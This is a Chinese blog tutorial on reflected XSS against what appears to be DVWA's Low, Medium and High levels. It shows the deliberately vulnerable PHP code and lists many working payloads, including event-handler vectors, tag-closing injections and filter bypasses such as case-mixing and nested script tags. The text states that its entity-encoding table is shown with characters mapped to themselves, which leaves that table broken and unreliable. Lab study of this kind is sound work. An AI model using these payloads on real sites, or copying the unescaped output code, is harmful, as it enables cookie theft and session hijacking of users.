反射型XSS
从现在开始,后面的文章都会加入目录,和锚点,
前面的文章也会逐步更新。
原理:
简单的说就是,
Web应用程序对用户的输入过滤不足产生的,
攻击者利用网站漏洞把恶意的脚本代码(通常包括HTML代码和Javascript脚本)注入到网页之中,
当其他用户浏览这些网页时,就会执行其中的恶意代码,
对受害用户可能采取Cookie资料窃取、会话劫持、钓鱼欺骗等各种攻击。
目录:
NO.1 Low
首先来看下代码
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
先学习学习函数!!!
array_key_exists()
函数检查某个数组中是否存在指定的键名,如果键名存在则返回 true,如果键名不存在则返回 false。
语法:array_key_exists(key,array)
例:
array_key_exists( "name", $_GET )
将会查找$_GET
或取的name
存不存在
<pre>
标签可定义预格式化的文本。
预格式化:
就是保留文字在源代码中的格式,页面中显示的和源代码中的效果完全一致。
浏览器再显示其中的内容时,会完全按照其真正的文本格式来显示,
例如,原封不动地保留文档中的空白,如空格、制表符等。
这段代码的意思就是获取用户输入的值,
然后在输出到<pre>
标签中。
然后这里简单说下XSS的常见方法
:
1. 想办法利用代码中的标签,比如:<script>' . $_GET[ 'name' ] . '</script>
,
那么输入alert(/xss/)
的话就会形成<script>alert(/xss/)</script>
2. 闭合代码中的一些标签,然后想办法绕过waf
首先来简单测试一下,
构造payload:<script>alert(/xss/)</script>
因为没有任何的过滤,所以直接弹框了
这只是简单的测试,当然也是可以的,然后再看看上面说的如何闭合标签
我们可以去这样构造payload:'</pre>;<script>alert(/xss/)</script>
然后输入之后就会变成:
echo '<pre>Hello ' '</pre>;<script>alert(/xss/)</script> '</pre>';
成功闭合了<pre>
标签,;
分号是结束的意思
然后我们审查元素可以看到,也是成功闭合了,然后执行了alert(/xss/)
弹框
在没有任何过滤的情况下,一些常用的标签:
下面这些标签大部分是可以自动触发的,无需用户去交互,
大部分情况下我们也是希望是自动触发而不是等用户去触发,
payload如下:
1. <img src=1 onerror=alert("xss");>
2. <input onfocus="alert('xss');">
点击小框后触发xss
3. <input onblur=alert("xss") autofocus><input autofocus>
竞争焦点,从而触发onblur事件
4. <input onfocus="alert('xss');" autofocus>
通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发
5. <details ontoggle="alert('xss');">
details 标签规定了用户可见的或者隐藏的需求的补充细节。
details 标签用来供用户开启关闭的交互式控件。任何形式的内容都能被放在 <details>
标签里边。
使用open属性触发ontoggle事件,无需用户去触发
6. <svg onload=alert("xss");>
SVG 即 Scalable Vector Graphics ,是一种用来绘制矢量图的 HTML5 标签。
onload 事件会在页面或图像加载完成后立即发生。
7. <select onfocus=alert(xss)></select>
select 标签可创建单选或多选菜单。
通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发
8. <iframe onload=alert("xss");></iframe>
iframe 标签会创建包含另外一个文档的内联框架(即行内框架)。
9. <video><source onerror="alert('xss')">
video 标签定义视频,比如电影片段或其他视频流。
source 标签为媒介元素(比如 <video>
和 <audio>
)定义媒介资源。
它允许您规定可替换的视频/音频文件供浏览器根据它对媒体类型或者编解码器的支持进行选择。
10. <audio src=x onerror=alert("xss");>
audio 标签定义声音,比如音乐或其他音频流。
11. <body/onload=alert("xss");>
body 这个标签大家都很属性啦,就不多说
12. 利用换行符以及autofocus,自动去触发onscroll事件,无需用户去触发
13. <textarea onfocus=alert("xss"); autofocus>
onfocus 事件在对象获得焦点时发生
autofocus 属性规定在页面加载后文本区域自动获得焦点。
textarea 标签定义多行的文本输入控件,就是我们熟悉的文本域标签。
14. <keygen autofocus onfocus=alert(/xss/)>
keygen 标签规定用于表单的密钥对生成器字段
15. <marquee onstart=alert("xss")></marquee>
marquee 标签是HTML标签中创建文字滚动的标签。
首标签<marquee>
和尾标签</marquee>
之间的内容就是滚动内容。
16. <isindex type=image src=1 onerror=alert("xss")>
//仅限于IE
isindex 标签的作用是使浏览器显示一个对话框,提示用户输入单行文本
所有这里本菜使用的火狐浏览器并没有弹框
啰啰嗦嗦yyppp一大堆 (逃。。
特别说明: 例如payload:<keygen autofocus onfocus=alert(/xss/)>
为什么有两个反斜杠,
如果不加的话输出不了,反斜杠
相当于 ""
引号
下面再例举一些,
PS:在无CSP(内容安全策略(Content Security Policy,CSP))
的情况下才可以
1. <a>
标签
payload: <a href="javascript:alert(
xss);">xss</a>
点击后触发
2. <iframe>
标签
payload: <a href="javascript:alert(
xss);">xss</a>
3. <img>
标签 IE7以下
payload: <img src=javascript:alert('xss')>
4. <form>
标签
payload: <form action="Javascript:alert(1)"><input type=submit>
NO.2 Medium
直接上代码,
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
来温故一下函数,
str_replace()
字符串替换函数,有三个必填参数
分别是:str_replace(要查找的值,要替换的值,被搜索的字符串)
这段代码的意思就是查找用户输入的内容$_GET[ 'name' ]
,看看有没有<script>
字符串,如果有的话替换为空
这段过滤函数挺鸡肋的,首先只过滤了<script>
字符串,
但是并没有过滤大小写,其次上面提到的很多也没有过滤,利用起来还是比较容易的。
虽然知道他过滤了,但还是先用传统的payload测试一下看看,
payload: <script>alert('1')</script>
可以看到已经把<script>
过滤了,
然后试试大小写,
payload: <Script>alert(/xss/)</script>
只要有一个大写就匹配不上了,连尖括号都没有过滤,
至于上面说的10多种payload,任然是可以使用的,部分<script>
标签换成大写就OK了,
还有一种,既然他只检测<script>
标签,那么我们可以这样构造
payload: <scr<script>ipt>alert("xss")</script>
他将我们的<script>
标签替换为空之后,前后任然是可以拼接一个<script>
标签。
NO.3 High
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
preg_replace()
函数执行一个正则表达式的搜索和替换。
语法: mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
参数说明:
-
$pattern: 要搜索的模式,可以是字符串或一个字符串数组。
-
$replacement: 用于替换的字符串或字符串数组。
-
$subject: 要搜索替换的目标字符串或字符串数组。
-
$limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
-
$count: 可选,为替换执行的次数。
这段正则的意思就是,搜索用户输入的值中有没有<script
,如果有的话替换为空,
这个正则把<script>
标签限的很死,只要有script顺序的字母出现就会被过滤
.*
为贪婪模式,后面可以匹配多个值,
比如:<<<script
, <<<<sscccccript
,<ssssccccrrrriiipppttt
等等
/i
修饰符,忽略大小写
那有没有办法绕过,当然是有的!!
首先不使用<script>
标签的payload就行了,
可以使用一些javascript事件后仍然能执行javascript代码来构造payload。。
例如:<img src=1 onerror=alert("xss");>
,<input onfocus="alert('xss');">
等等都是可以的
后面就自己慢慢去研究了,
这个东西需要扎实的JavaScript基础
本渣渣只能说这么多了。
附1: XSS挖掘方法
这里简单的总结一点点
即将更新。。(逃
附2: XSS的一些绕过方法
1. HTML实体编码
字符 | 编码 |
---|---|
< | < |
> | > |
& | & |
’ | ' |
” | " |
空格 |   |
更多精彩可以看这:
https://xz.aliyun.com/t/4067
总结
该说点什么呢,
如果不曾开始,永远不会抵达。
参考文献
https://xz.aliyun.com/t/4067
https://xz.aliyun.com/t/2936
https://www.secquan.org/Notes/334
https://xz.aliyun.com/t/2936
https://www.freebuf.com/articles/web/157953.html